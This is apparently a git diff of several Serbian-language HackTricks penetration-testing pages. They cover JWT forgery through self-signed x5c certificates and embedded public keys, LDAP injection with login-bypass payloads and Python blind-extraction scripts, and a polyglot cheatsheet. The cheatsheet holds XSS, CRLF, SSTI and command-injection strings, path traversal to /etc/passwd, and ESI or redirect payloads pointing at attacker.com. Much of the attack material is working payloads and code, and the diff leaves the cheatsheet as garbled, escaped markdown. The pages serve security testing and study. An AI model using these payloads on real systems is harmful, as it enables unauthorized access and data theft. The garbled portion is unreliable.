![](<../.gitbook/assets/image (440).png>)
|
![](<../.gitbook/assets/image (440).png>)
|
||||||
|
|
||||||
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novo generisanim sertifikatom i modifikuje druge parametre, tačnije n, e i x5t, tada bi lažni token biti prihvaćen od strane servera.
|
Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novo generisanim sertifikatom i modifikuje druge parametre, tačnije n, e i x5t, tada bi lažni token biti prihvaćen od strane servera.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||||
openssl x509 -in attacker.crt -text
|
openssl x509 -in attacker.crt -text
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ugrađeni javni ključ (CVE-2018-0114)
|
### Ugrađeni javni ključ (CVE-2018-0114)
|
||||||
|
|
||||||
Ako JWT ima ugrađen javni ključ kao u sledećem scenariju:
|
Ako JWT ima ugrađen javni ključ kao u sledećem scenariju:
|
||||||
|
@ -199,6 +215,7 @@ Ako JWT ima ugrađen javni ključ kao u sledećem scenariju:
|
||||||
![](<../.gitbook/assets/image (438).png>)
|
![](<../.gitbook/assets/image (438).png>)
|
||||||
|
|
||||||
Korišćenjem sledećeg nodejs skripta moguće je generisati javni ključ iz tih podataka:
|
Korišćenjem sledećeg nodejs skripta moguće je generisati javni ključ iz tih podataka:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
const NodeRSA = require('node-rsa');
|
const NodeRSA = require('node-rsa');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
|
@ -208,13 +225,17 @@ const key = new NodeRSA();
|
||||||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||||
console.log(importedKey.exportKey("public"));
|
console.log(importedKey.exportKey("public"));
|
||||||
```
|
```
|
||||||
|
|
||||||
Moguće je generisati novi privatni/javni ključ, ugraditi novi javni ključ unutar tokena i koristiti ga za generisanje nove potpisa:
|
Moguće je generisati novi privatni/javni ključ, ugraditi novi javni ključ unutar tokena i koristiti ga za generisanje nove potpisa:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
openssl genrsa -out keypair.pem 2048
|
openssl genrsa -out keypair.pem 2048
|
||||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||||
```
|
```
|
||||||
|
|
||||||
Možete dobiti "n" i "e" pomoću ovog Node.js skripta:
|
Možete dobiti "n" i "e" pomoću ovog Node.js skripta:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
const NodeRSA = require('node-rsa');
|
const NodeRSA = require('node-rsa');
|
||||||
const fs = require('fs');
|
const fs = require('fs');
|
||||||
|
@ -224,6 +245,7 @@ const publicComponents = key.exportKey('components-public');
|
||||||
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
console.log('Parameter n: ', publicComponents.n.toString("hex"));
|
||||||
console.log('Parameter e: ', publicComponents.e.toString(16));
|
console.log('Parameter e: ', publicComponents.e.toString(16));
|
||||||
```
|
```
|
||||||
|
|
||||||
### ES256: Otkrivanje privatnog ključa sa istim nonce-om
|
### ES256: Otkrivanje privatnog ključa sa istim nonce-om
|
||||||
|
|
||||||
Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva JWT-a, privatni ključ može biti obnovljen.
|
Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva JWT-a, privatni ključ može biti obnovljen.
|
||||||
|
@ -257,7 +279,7 @@ Istek tokena se proverava korišćenjem tvrdnje "exp" Payload. S obzirom da se J
|
||||||
|
|
||||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||||
|
|
||||||
|
|
|
@ -7,13 +7,13 @@
|
||||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Rust" %}
|
{% tab title="undefined" %}
|
||||||
```rust
|
```rust
|
||||||
fn main() {
|
fn main() {
|
||||||
|
|
||||||
|
@ -26,6 +26,8 @@ println!("{}", mul_result);
|
||||||
println!("{}", add_result);
|
println!("{}", add_result);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="C" %}
|
{% tab title="C" %}
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -55,7 +57,7 @@ return 0;
|
||||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -75,6 +75,7 @@ Zatim: `(&(objectClass=`**`*)(ObjectClass=*))`** će biti prvi filter (onaj koji
|
||||||
### Bypassovanje Logovanja
|
### Bypassovanje Logovanja
|
||||||
|
|
||||||
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete kao lozinku, ona će biti heširana.
|
LDAP podržava nekoliko formata za čuvanje lozinke: clear, md5, smd5, sh1, sha, crypt. Dakle, moguće je da bez obzira na to šta unesete kao lozinku, ona će biti heširana.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
user=*
|
user=*
|
||||||
password=*
|
password=*
|
||||||
|
@ -129,6 +130,7 @@ username=admin))(|(|
|
||||||
password=any
|
password=any
|
||||||
--> (&(uid=admin)) (| (|) (webpassword=any))
|
--> (&(uid=admin)) (| (|) (webpassword=any))
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Liste
|
#### Liste
|
||||||
|
|
||||||
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
|
||||||
|
@ -138,6 +140,7 @@ password=any
|
||||||
### Slepa LDAP Injekcija
|
### Slepa LDAP Injekcija
|
||||||
|
|
||||||
Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP injekciju:
|
Možete prisiliti lažne ili tačne odgovore da proverite da li se vraćaju podaci i potvrdite moguću slepu LDAP injekciju:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#This will result on True, so some information will be shown
|
#This will result on True, so some information will be shown
|
||||||
Payload: *)(objectClass=*))(&objectClass=void
|
Payload: *)(objectClass=*))(&objectClass=void
|
||||||
|
@ -149,9 +152,11 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
|
||||||
Payload: void)(objectClass=void))(&objectClass=void
|
Payload: void)(objectClass=void))(&objectClass=void
|
||||||
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Izbacivanje podataka
|
#### Izbacivanje podataka
|
||||||
|
|
||||||
Možete iterirati kroz ASCII slova, cifre i simbole:
|
Možete iterirati kroz ASCII slova, cifre i simbole:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
(&(sn=administrator)(password=*)) : OK
|
(&(sn=administrator)(password=*)) : OK
|
||||||
(&(sn=administrator)(password=A*)) : KO
|
(&(sn=administrator)(password=A*)) : KO
|
||||||
|
@ -162,11 +167,13 @@ Možete iterirati kroz ASCII slova, cifre i simbole:
|
||||||
(&(sn=administrator)(password=MB*)) : KO
|
(&(sn=administrator)(password=MB*)) : KO
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
|
||||||
### Skripte
|
### Skripte
|
||||||
|
|
||||||
#### **Otkrijte važeća LDAP polja**
|
#### **Otkrijte važeća LDAP polja**
|
||||||
|
|
||||||
LDAP objekti **podrazumevano sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati **bruteforce-ovati sve njih kako biste izvukli te informacije**. Možete pronaći listu [**podrazumevanih LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
LDAP objekti **podrazumevano sadrže nekoliko atributa** koji se mogu koristiti za **čuvanje informacija**. Možete pokušati **bruteforce-ovati sve njih kako biste izvukli te informacije**. Možete pronaći listu [**podrazumevanih LDAP atributa ovde**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
import requests
|
import requests
|
||||||
|
@ -198,7 +205,9 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||||
finish = True
|
finish = True
|
||||||
print()
|
print()
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Posebna slepa LDAP ubacivanje (bez "\*")**
|
#### **Posebna slepa LDAP ubacivanje (bez "\*")**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
@ -215,17 +224,20 @@ flag += char
|
||||||
print("[+] Flag: " + flag)
|
print("[+] Flag: " + flag)
|
||||||
break
|
break
|
||||||
```
|
```
|
||||||
|
|
||||||
### Google Dorks
|
### Google Dorks
|
||||||
|
|
||||||
### Google Dorks
|
### Google Dorks
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
intitle:"phpLDAPadmin" inurl:cmd.php
|
intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
```
|
```
|
||||||
|
|
||||||
### Više Payload-a
|
### Više Payload-a
|
||||||
|
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,6 @@
|
||||||
# Lista web ranjivosti
|
# Web Vulns List
|
||||||
|
|
||||||
|
## Lista web ranjivosti
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -7,57 +9,26 @@
|
||||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```python
|
|
||||||
{{7*7}}[7*7]
|
|
||||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
|
||||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
|
||||||
%0d%0aLocation:%20http://attacker.com
|
|
||||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
|
||||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
|
||||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
|
||||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
|
||||||
/etc/passwd
|
|
||||||
../../../../../../etc/hosts
|
|
||||||
..\..\..\..\..\..\etc/hosts
|
|
||||||
/etc/hostname
|
|
||||||
../../../../../../etc/hosts
|
|
||||||
C:/windows/system32/drivers/etc/hosts
|
|
||||||
../../../../../../windows/system32/drivers/etc/hosts
|
|
||||||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
|
||||||
http://asdasdasdasd.burpcollab.com/mal.php
|
|
||||||
\\asdasdasdasd.burpcollab.com/mal.php
|
|
||||||
www.whitelisted.com
|
|
||||||
www.whitelisted.com.evil.com
|
|
||||||
https://google.com
|
|
||||||
//google.com
|
|
||||||
javascript:alert(1)
|
|
||||||
(\\w*)+$
|
|
||||||
([a-zA-Z]+)*$
|
|
||||||
((a+)+)+$
|
|
||||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
|
||||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
|
||||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
|
||||||
" onclick=alert() a="
|
|
||||||
'"><img src=x onerror=alert(1) />
|
|
||||||
javascript:alert()
|
|
||||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
|
||||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
|
||||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
|
||||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
|
||||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
|
||||||
```
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
|
||||||
|
|
||||||
|
|
||||||
|
## THIS IS AND INJECTED TITLE
|
||||||
|
|
||||||
|
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
|
||||||
|
|
||||||
|
 ">>![](https://github.com/carlospolop/hacktricks/blob/rs/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
|
||||||
|
" onclick=alert(1)//\<button ‘ onclick=alert(1)//> \*/ alert(1)//\
|
||||||
|
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
|
||||||
|
\`\`\`\
|
||||||
|
\<details>**Naučite hakovanje AWS-a od nule do heroja sa** [**htARTE (HackTricks AWS Red Team Expert)**](https://training.hacktricks.xyz/courses/arte)**!**
|
||||||
|
|
||||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue